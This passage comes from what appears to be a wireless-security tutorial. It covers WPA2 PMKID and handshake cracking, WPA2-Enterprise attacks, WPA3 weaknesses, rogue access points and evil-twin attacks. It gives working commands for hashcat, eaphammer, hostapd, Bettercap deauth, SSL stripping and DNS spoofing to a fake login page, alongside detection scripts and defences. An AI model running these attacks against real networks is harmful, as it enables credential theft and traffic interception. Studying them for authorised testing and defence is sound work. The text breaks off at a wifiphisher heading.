&lt;span class="c"&gt;# Step 1: Capture PMKID (uses hcxdumptool):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hcxdumptool &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-i&lt;/span&gt; wlan0mon &lt;span class="se"&gt;\ &lt;/span&gt;                   &lt;span class="c"&gt;# Monitor mode interface&lt;/span&gt;
    &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/pmkid_capture.pcapng &lt;span class="se"&gt;\ &lt;/span&gt;  &lt;span class="c"&gt;# Output file&lt;/span&gt;
    &lt;span class="nt"&gt;--enable_status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="se"&gt;\ &lt;/span&gt;             &lt;span class="c"&gt;# Show status&lt;/span&gt;
    &lt;span class="nt"&gt;--filterlist_ap&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp/target_bssids.txt  &lt;span class="c"&gt;# Optional: specific APs only&lt;/span&gt;
&lt;span class="c"&gt;# Wait for PMKID — usually captured within 30-60 seconds without any clients&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Extract hash for hashcat:&lt;/span&gt;
hcxpcapngtool &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/pmkid.hc22000 &lt;span class="se"&gt;\&lt;/span&gt;
    /tmp/pmkid_capture.pcapng

&lt;span class="c"&gt;# Step 3: Crack (identical to handshake cracking):&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 22000 /tmp/pmkid.hc22000 wordlist.txt

&lt;span class="c"&gt;# Verify captured PMKIDs:&lt;/span&gt;
hcxpcapngtool &lt;span class="nt"&gt;-E&lt;/span&gt; essidlist &lt;span class="nt"&gt;-I&lt;/span&gt; identitylist &lt;span class="nt"&gt;-U&lt;/span&gt; usernamelist /tmp/pmkid_capture.pcapng
&lt;span class="nb"&gt;cat &lt;/span&gt;essidlist                        &lt;span class="c"&gt;# Networks captured&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.5 WPA2-Enterprise (802.1X/EAP)
&lt;/h3&gt;

&lt;p&gt;WPA2-Enterprise replaces the pre-shared key with per-user credentials verified by a RADIUS server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPA2-Enterprise Authentication Flow:

  Client → AP: Association Request
  AP → Client: EAP Request (identity)
  Client → AP: EAP Response (username)
  AP → RADIUS: Access Request (EAP data forwarded)
  RADIUS: validates credentials
  RADIUS → AP: Access Accept/Reject
  AP → Client: EAP Success/Failure
  AP → Client: 4-way handshake (if success)

EAP Types:
  PEAP (Protected EAP): Tunnelled TLS + MSCHAPv2
    Most common in enterprise
    Password-based inside TLS tunnel
  EAP-TLS: Certificate-based (client AND server certificates)
    Most secure — no password to steal
    Requires certificate infrastructure
  EAP-TTLS: Similar to PEAP, more flexible
  EAP-FAST: Cisco proprietary, no certificates
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;WPA2-Enterprise Attacks — Rogue RADIUS/Evil Twin:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack against PEAP:
  1. Client tries to connect to corporate WiFi
  2. Attacker's evil twin AP with same SSID responds
  3. Client starts PEAP handshake
  4. Attacker's rogue RADIUS presents a certificate
  5. If client doesn't validate certificate: client sends MSCHAPv2 challenge response
  6. Attacker captures MSCHAPv2 challenge-response
  7. Offline crack: MSCHAPv2 is breakable with asleap or hashcat (-m 5500)

Critical defence: 
  Configure supplicant (client) to validate RADIUS server certificate
  Specify exact certificate fingerprint or CA
  Without this: clients connect to any RADIUS claiming the right SSID

Tools:
  hostapd-wpe: Creates rogue RADIUS for credential capture
  eaphammer: Automated WPA2-Enterprise attack framework
  asleap: Cracks captured MSCHAPv2 credentials
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# WPA2-Enterprise attack with eaphammer:&lt;/span&gt;
&lt;span class="c"&gt;# (Educational — requires explicit permission)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;eaphammer &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--interface&lt;/span&gt; wlan0mon &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--channel&lt;/span&gt; 6 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--ssid&lt;/span&gt; &lt;span class="s2"&gt;"CorporateWiFi"&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;        &lt;span class="c"&gt;# Target SSID&lt;/span&gt;
    &lt;span class="nt"&gt;--auth&lt;/span&gt; peap &lt;span class="se"&gt;\ &lt;/span&gt;                   &lt;span class="c"&gt;# EAP type&lt;/span&gt;
    &lt;span class="nt"&gt;--creds&lt;/span&gt;                          &lt;span class="c"&gt;# Capture credentials mode&lt;/span&gt;
&lt;span class="c"&gt;# Eaphammer creates rogue AP + RADIUS server&lt;/span&gt;
&lt;span class="c"&gt;# Captures PEAP credentials from connecting clients&lt;/span&gt;
&lt;span class="c"&gt;# Outputs NetNTLMv1/v2 hashes crackable with hashcat&lt;/span&gt;

&lt;span class="c"&gt;# Crack captured MSCHAPv2:&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 5500 captured_hashes.txt wordlist.txt   &lt;span class="c"&gt;# NetNTLMv1&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 5600 captured_hashes.txt wordlist.txt   &lt;span class="c"&gt;# NetNTLMv2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; WPA2-PSK security is entirely dependent on password strength. The PMKID attack means an attacker can start cracking without waiting for a client — just the AP is sufficient. A common 8-character password from rockyou.txt falls in seconds on a GPU. The only defence is a password that will not appear in any wordlist: 25+ random characters or a true random passphrase. WPA3 eliminates this offline attack entirely.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  7. WPA3 — The Modern Standard
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 WPA3 Key Improvements
&lt;/h3&gt;

&lt;p&gt;WPA3 (released 2018, Wi-Fi Alliance certification began 2018) addresses the fundamental weaknesses of WPA2.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SAE — Simultaneous Authentication of Equals (Dragonfly Handshake):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPA2 Problem:
  PMK derived from password + SSID using PBKDF2
  PMK deterministic from password → offline dictionary attack
  Attacker needs: captured handshake + password guesses → verify offline

WPA3 Solution — SAE (RFC 7664):
  Based on Diffie-Hellman key exchange
  Password is used to derive a point on an elliptic curve (or DH group)
  Both parties engage in a commit-confirm exchange
  Session key derived from DH exchange → perfect forward secrecy

  Key property: password NOT directly verifiable without LIVE interaction with the network
  → No offline dictionary attack possible (attacker must interact with real AP for each guess)
  → Forward secrecy: old traffic cannot be decrypted even if password later compromised

WPA3 Authentication:
  Commit phase:
    Both parties send: scalar + element (derived from password + random value)
    AP: compute from (password, random R_AP)
    Client: compute from (password, random R_Client)

  Confirm phase:
    Both verify each other's commitment
    If password correct: derive shared session key

  Why offline cracking fails:
    Each handshake uses different random values
    Without knowing both random values (one is secret), PMK cannot be recovered
    Each guess requires live interaction with AP (rate-limited)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;WPA3-Personal vs WPA3-Enterprise:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPA3-Personal:
  Replaces WPA2-PSK
  Uses SAE instead of 4-way handshake password verification
  Still uses pre-shared password (human-memorable)
  Eliminates offline dictionary attacks

WPA3-Enterprise:
  192-bit security mode (optional but available)
  Requires 192-bit AES-256-GCMP for data encryption
  Requires ECDSA-384 for certificates
  Requires SHA-384 for HMAC
  Designed for government, financial, critical infrastructure

WPA3-Enterprise vs WPA2-Enterprise:
  WPA2-Enterprise: 128-bit AES (CCMP), SHA-1 HMAC
  WPA3-Enterprise 192-bit: 256-bit AES, SHA-384 HMAC → much stronger
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 WPA3 Transition Mode and Its Risks
&lt;/h3&gt;

&lt;p&gt;Most WPA3 deployments use "Transition Mode" — supporting both WPA3 and WPA2 simultaneously for backward compatibility.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPA3 Transition Mode:
  AP broadcasts support for both WPA3-SAE and WPA2-PSK
  WPA3 clients: use SAE → strong
  WPA2 clients: use PSK → potentially vulnerable

Downgrade Attack:
  Attacker broadcasts rogue AP with same SSID announcing WPA2 only
  WPA3-capable client may downgrade to WPA2 to connect
  WPA2 connection → vulnerable to PMKID/handshake capture

Dragonblood Vulnerabilities (Mathy Vanhoef, 2019):
  Side-channel attacks against SAE implementation:

  CVE-2019-9494 (Cache Side-Channel):
    WPA3's SAE implementation used non-constant-time operations
    Cache access patterns revealed information about the password
    Allowed offline dictionary attack on some implementations

  CVE-2019-9496 (Confirm Forgery):
    SAE confirm frame could be forged to bypass authentication in some implementations

  CVE-2019-13377 (Side-Channel, Brainpool Curves):
    New attack path via timing differences

  All patched in subsequent WPA3 implementations
  Lesson: even new standards have implementation vulnerabilities
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check WPA3 support:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"WPA3|SAE"&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iw dev wlan0 scan | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"SAE|WPA3|OWE"&lt;/span&gt;

&lt;span class="c"&gt;# OWE — Opportunistic Wireless Encryption (WPA3 feature):&lt;/span&gt;
&lt;span class="c"&gt;# Open networks (coffee shops, hotels) typically have NO encryption&lt;/span&gt;
&lt;span class="c"&gt;# OWE provides encryption without authentication (no password)&lt;/span&gt;
&lt;span class="c"&gt;# Each client gets unique encryption key via DH&lt;/span&gt;
&lt;span class="c"&gt;# Prevents passive eavesdropping on open networks (but not MITM)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iw dev wlan0 scan | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"OWE"&lt;/span&gt;

&lt;span class="c"&gt;# Test SAE vs PSK connection:&lt;/span&gt;
&lt;span class="c"&gt;# Check wpa_supplicant configuration:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/wpa_supplicant/wpa_supplicant.conf
&lt;span class="c"&gt;# key_mgmt=SAE  → WPA3&lt;/span&gt;
&lt;span class="c"&gt;# key_mgmt=WPA-PSK  → WPA2&lt;/span&gt;
&lt;span class="c"&gt;# key_mgmt=SAE WPA-PSK  → Transition mode&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; WPA3's SAE eliminates offline dictionary attacks — the primary attack against WPA2-PSK. However, WPA3 Transition Mode (running WPA2 and WPA3 simultaneously) reintroduces downgrade attack risk. Networks that must support legacy WPA2 clients cannot fully benefit from WPA3's protection. The complete solution requires WPA3-only networks for sensitive environments, accepting that legacy devices will not connect.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. Rogue Access Point
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 What Is a Rogue Access Point
&lt;/h3&gt;

&lt;p&gt;A rogue access point (rogue AP) is any wireless access point connected to a network without authorisation. The term covers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Malicious Rogue:&lt;/strong&gt; Deliberately installed by an attacker to gain network access&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Accidental Rogue:&lt;/strong&gt; Employee plugs in home router to get better WiFi — unintentionally creates security vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Misconfigured Rogue:&lt;/strong&gt; AP configured incorrectly (wrong VLAN, wrong security settings)
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Rogue AP Attack Scenarios:

Scenario 1: Physical Access + Rogue AP Deployment
  Attacker enters building (social engineering, tailgating)
  Plugs rogue AP into Ethernet port
  Rogue AP connects to corporate network
  Attacker controls rogue AP remotely via internet or cellular
  Has persistent LAN access without maintaining physical presence

Scenario 2: Rogue AP for Wireless Eavesdropping
  Rogue AP placed near sensitive area
  Configured to capture all wireless traffic
  Passive monitoring of unencrypted wireless devices

Scenario 3: Accidental Rogue by Employee
  Employee frustrated with weak WiFi signal
  Brings personal router from home
  Plugs into corporate Ethernet
  Router broadcasts open SSID "HomeNetwork"
  Corporate network now accessible without authentication from parking lot

Scenario 4: OT Environment Rogue
  Vendor technician needs wireless access for laptop
  Connects a portable WiFi router to OT network port "just for the service visit"
  Forgets to remove it
  OT network now has undocumented wireless access point
  May remain undiscovered for months or years
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 Setting Up a Rogue AP
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Creating a rogue AP on Linux (educational — authorised testing only):&lt;/span&gt;

&lt;span class="c"&gt;# Required: wireless adapter capable of AP mode&lt;/span&gt;
iw list | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"AP"&lt;/span&gt;                  &lt;span class="c"&gt;# Check if adapter supports AP mode&lt;/span&gt;

&lt;span class="c"&gt;# Method 1: hostapd (most flexible)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/rogue_ap.conf &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
interface=wlan0
driver=nl80211
ssid=CorpWiFi                        # Same SSID as target network
hw_mode=g                            # 802.11g (2.4 GHz)
channel=6
macaddr_acl=0                        # Accept all MACs
ignore_broadcast_ssid=0              # Broadcast SSID
auth_algs=1                          # Open authentication
wpa=2                                # Enable WPA2
wpa_passphrase=Password123           # WPA2 password (for legitimate rogue)
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;hostapd /tmp/rogue_ap.conf

&lt;span class="c"&gt;# Add DHCP server for connecting clients:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;dnsmasq
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/dnsmasq.conf &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
interface=wlan0
dhcp-range=192.168.99.2,192.168.99.254,12h
dhcp-option=3,192.168.99.1          # Gateway
dhcp-option=6,8.8.8.8,8.8.4.4     # DNS
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;ip addr add 192.168.99.1/24 dev wlan0
&lt;span class="nb"&gt;sudo &lt;/span&gt;dnsmasq &lt;span class="nt"&gt;-C&lt;/span&gt; /tmp/dnsmasq.conf

&lt;span class="c"&gt;# Enable routing (if connecting clients to internet):&lt;/span&gt;
&lt;span class="nb"&gt;echo &lt;/span&gt;1 | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; /proc/sys/net/ipv4/ip_forward
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-A&lt;/span&gt; POSTROUTING &lt;span class="nt"&gt;-o&lt;/span&gt; eth0 &lt;span class="nt"&gt;-j&lt;/span&gt; MASQUERADE

&lt;span class="c"&gt;# Method 2: create_ap (wrapper tool, simpler):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;create_ap
&lt;span class="nb"&gt;sudo &lt;/span&gt;create_ap wlan0 eth0 &lt;span class="s2"&gt;"CorpWiFi"&lt;/span&gt; &lt;span class="s2"&gt;"Password123"&lt;/span&gt;
&lt;span class="c"&gt;# wlan0: wireless interface for AP&lt;/span&gt;
&lt;span class="c"&gt;# eth0: interface to share internet from&lt;/span&gt;
&lt;span class="c"&gt;# "CorpWiFi": SSID&lt;/span&gt;
&lt;span class="c"&gt;# "Password123": password&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 Rogue AP Detection
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# WIDS (Wireless Intrusion Detection System) approach:&lt;/span&gt;
&lt;span class="c"&gt;# Monitor all APs and compare against authorised AP list&lt;/span&gt;

&lt;span class="c"&gt;# Manual detection with airodump-ng:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/ap_survey.txt

&lt;span class="c"&gt;# Python-based rogue detection:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/detect_rogue.py &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/usr/bin/env python3
"""
Rogue AP Detector — compares seen APs against authorised list
"""
import subprocess, re

# Authorised APs: (ESSID, BSSID) pairs
AUTHORISED = {
    ("CorpWiFi", "AA:BB:CC:DD:EE:FF"),
    ("CorpWiFi", "AA:BB:CC:DD:EE:10"),  # Second AP, same SSID
    ("CorpGuest", "AA:BB:CC:DD:EE:20"),
}

CORPORATE_SSIDS = {"CorpWiFi", "CorpGuest", "CorpIoT"}

# Scan for APs (simplified — in production, use continuous monitoring)
result = subprocess.run(
    ["sudo", "iw", "dev", "wlan0", "scan"],
    capture_output=True, text=True
)

current_ap = {}
for line in result.stdout.split('&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;'):
    if 'BSS ' in line:
        if current_ap and current_ap.get('SSID'):
            ap = (current_ap['SSID'], current_ap['BSSID'])

            # Check if SSID matches corporate but BSSID not authorised
            if current_ap['SSID'] in CORPORATE_SSIDS and ap not in AUTHORISED:
                print(f"[ALERT] ROGUE AP DETECTED:")
                print(f"  SSID: {current_ap['SSID']}")
                print(f"  BSSID: {current_ap['BSSID']}")
                print(f"  Signal: {current_ap.get('signal', 'unknown')}")

        match = re.search(r'BSS ([0-9a-f:]{17})', line)
        current_ap = {'BSSID': match.group(1) if match else 'unknown'}

    elif 'SSID: ' in line:
        current_ap['SSID'] = line.strip().replace('SSID: ', '')
    elif 'signal: ' in line:
        current_ap['signal'] = line.strip()
&lt;/span&gt;&lt;span class="no"&gt;
EOF
&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 /tmp/detect_rogue.py

&lt;span class="c"&gt;# Enterprise WIDS tools:&lt;/span&gt;
&lt;span class="c"&gt;# Cisco Adaptive Wireless IPS (aWIPS) — built into Cisco infrastructure&lt;/span&gt;
&lt;span class="c"&gt;# Aruba RFProtect — built into Aruba APs&lt;/span&gt;
&lt;span class="c"&gt;# Zebra AirDefense — dedicated WIDS&lt;/span&gt;
&lt;span class="c"&gt;# Kismet — open source passive WIDS&lt;/span&gt;
&lt;span class="c"&gt;# Snort wireless rules — detect injection and rogue APs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;802.1X as Rogue AP Prevention:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Problem: Employee plugs rogue AP into network port
Solution: 802.1X port authentication on switches

Without 802.1X:
  Employee plugs rogue AP in → gets DHCP → has network access

With 802.1X:
  Employee plugs rogue AP in → switch port in unauthenticated state
  Rogue AP cannot authenticate (no 802.1X supplicant configured)
  Switch keeps port blocked → rogue AP has no network access

Limitation:
  If rogue AP's uplink port is configured as trunk/bypass:
  802.1X may not apply to all traffic
  Bridge mode rogue AP may pass 802.1X frames through
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The most dangerous rogue access points are the ones never detected — accidentally deployed by well-meaning employees who just wanted better WiFi. 802.1X on all switch ports, combined with continuous wireless monitoring, is the only reliable defence. Every unmonitored Ethernet port in a building is a potential rogue AP deployment point. In OT environments, an undiscovered rogue AP can persist for years — the average OT security incident has a 6+ month dwell time.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. Evil Twin Attack
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 Evil Twin Architecture
&lt;/h3&gt;

&lt;p&gt;An evil twin attack creates a near-identical copy of a legitimate wireless network, with the attacker positioned between clients and the real network (or internet). Unlike a simple rogue AP, an evil twin specifically targets clients of a known network.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LEGITIMATE NETWORK:
  Client → [Corporate AP] → Corporate Network

EVIL TWIN ATTACK:
  Client → [Evil Twin AP] → Attacker → [Internet or Corporate Network]
                                ↑
                        Man-in-the-Middle:
                        Can read, modify, inject traffic
                        SSL strip, credential capture,
                        malware injection, traffic recording

Evil Twin Properties:
  Same SSID as legitimate network
  BSSID: spoofed to match legitimate AP (or different — doesn't matter for auto-connect)
  Signal: typically stronger than legitimate AP (attacker close to client)
  Security: same (WPA2 with same SSID) or open (for credential capture)
  DHCP: provides addresses, positions attacker as default gateway
  DNS: serves controlled DNS (enables phishing, content injection)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.2 Evil Twin Attack — Complete Implementation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Evil Twin with Bettercap (modern, comprehensive):&lt;/span&gt;

&lt;span class="c"&gt;# Step 1: Set up monitor mode&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng check &lt;span class="nb"&gt;kill
sudo &lt;/span&gt;airmon-ng start wlan0

&lt;span class="c"&gt;# Step 2: Identify target network&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon
&lt;span class="c"&gt;# Note SSID, BSSID, channel, security type&lt;/span&gt;

&lt;span class="c"&gt;# Step 3: Run Bettercap evil twin:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;bettercap &lt;span class="nt"&gt;-iface&lt;/span&gt; wlan0mon

&lt;span class="c"&gt;# In Bettercap console:&lt;/span&gt;
&lt;span class="c"&gt;# wifi.recon on                    # Start scanning&lt;/span&gt;
&lt;span class="c"&gt;# wifi.show                        # Show discovered networks&lt;/span&gt;
&lt;span class="c"&gt;# set wifi.ap.ssid "CorpWiFi"     # Set evil twin SSID&lt;/span&gt;
&lt;span class="c"&gt;# set wifi.ap.bssid aa:bb:cc:dd:ee:ff  # Spoof legitimate AP's BSSID&lt;/span&gt;
&lt;span class="c"&gt;# set wifi.ap.channel 6           # Same channel as legitimate AP&lt;/span&gt;
&lt;span class="c"&gt;# wifi.ap on                      # Start evil twin AP&lt;/span&gt;
&lt;span class="c"&gt;# set arp.spoof.targets 192.168.0.0/24&lt;/span&gt;
&lt;span class="c"&gt;# arp.spoof on                    # MITM connected clients&lt;/span&gt;
&lt;span class="c"&gt;# net.sniff on                    # Capture traffic&lt;/span&gt;

&lt;span class="c"&gt;# Step 4: Force clients off legitimate AP:&lt;/span&gt;
&lt;span class="c"&gt;# (While evil twin is running)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;aireplay-ng &lt;span class="nt"&gt;--deauth&lt;/span&gt; 0 &lt;span class="nt"&gt;-a&lt;/span&gt; LEGITIMATE_AP_BSSID wlan0mon
&lt;span class="c"&gt;# Continuous deauth → clients constantly disconnected from legitimate AP&lt;/span&gt;
&lt;span class="c"&gt;# Clients scan for known network → find evil twin (stronger signal, same SSID)&lt;/span&gt;
&lt;span class="c"&gt;# Clients connect to evil twin&lt;/span&gt;

&lt;span class="c"&gt;# Step 5: Capture credentials from connected clients:&lt;/span&gt;

&lt;span class="c"&gt;# HTTP credentials — plaintext:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;bettercap &lt;span class="nt"&gt;-iface&lt;/span&gt; wlan0
&lt;span class="c"&gt;# net.sniff on&lt;/span&gt;
&lt;span class="c"&gt;# Captures all HTTP forms with credentials&lt;/span&gt;

&lt;span class="c"&gt;# SSL Strip — downgrade HTTPS to HTTP:&lt;/span&gt;
&lt;span class="c"&gt;# set https.proxy.sslstrip true&lt;/span&gt;
&lt;span class="c"&gt;# https.proxy on&lt;/span&gt;
&lt;span class="c"&gt;# (Note: HSTS-preloaded sites resist SSL strip)&lt;/span&gt;

&lt;span class="c"&gt;# DNS spoofing — redirect to phishing pages:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/dns_spoof.yml &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
- host: "corporate-sso.company.com"
  address: "192.168.99.1"         # Attacker's IP running fake login
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="c"&gt;# set dns.spoof.hosts /tmp/dns_spoof.yml&lt;/span&gt;
&lt;span class="c"&gt;# dns.spoof on&lt;/span&gt;

&lt;span class="c"&gt;# With FluxionFramework (comprehensive evil twin attack tool):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;fluxion 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    git clone https://github.com/FluxionNetwork/fluxion.git /opt/fluxion
&lt;span class="c"&gt;# cd /opt/fluxion &amp;amp;&amp;amp; sudo ./fluxion.sh&lt;/span&gt;
&lt;span class="c"&gt;# Provides: AP selection, deauth, captive portal for credential capture&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.3 WPA2 Credential Capture via Evil Twin
&lt;/h3&gt;

&lt;p&gt;A specific, highly effective variant captures WPA2 handshakes through the evil twin and tricks users into entering the real password via a captive portal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPA2 Evil Twin Attack Flow:

1. Attacker captures WPA2 4-way handshake from legitimate AP
2. Evil twin AP set up on different channel, deauth attacks legitimate AP
3. Client connects to evil twin (same SSID)
4. Evil twin shows captive portal: "Your session expired. Enter WiFi password to continue."
5. User enters real password (it's the normal login page, it looks real)
6. Attacker tests entered password against captured handshake
7. If match: password confirmed and obtained
8. Evil twin shows "reconnecting..." while dropping client back to legitimate network
9. User believes it was a normal reconnection

Tools: Fluxion, wifiphisher
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Wifiphisher — automated evil twin with social engineering:&lt;/span&gt;
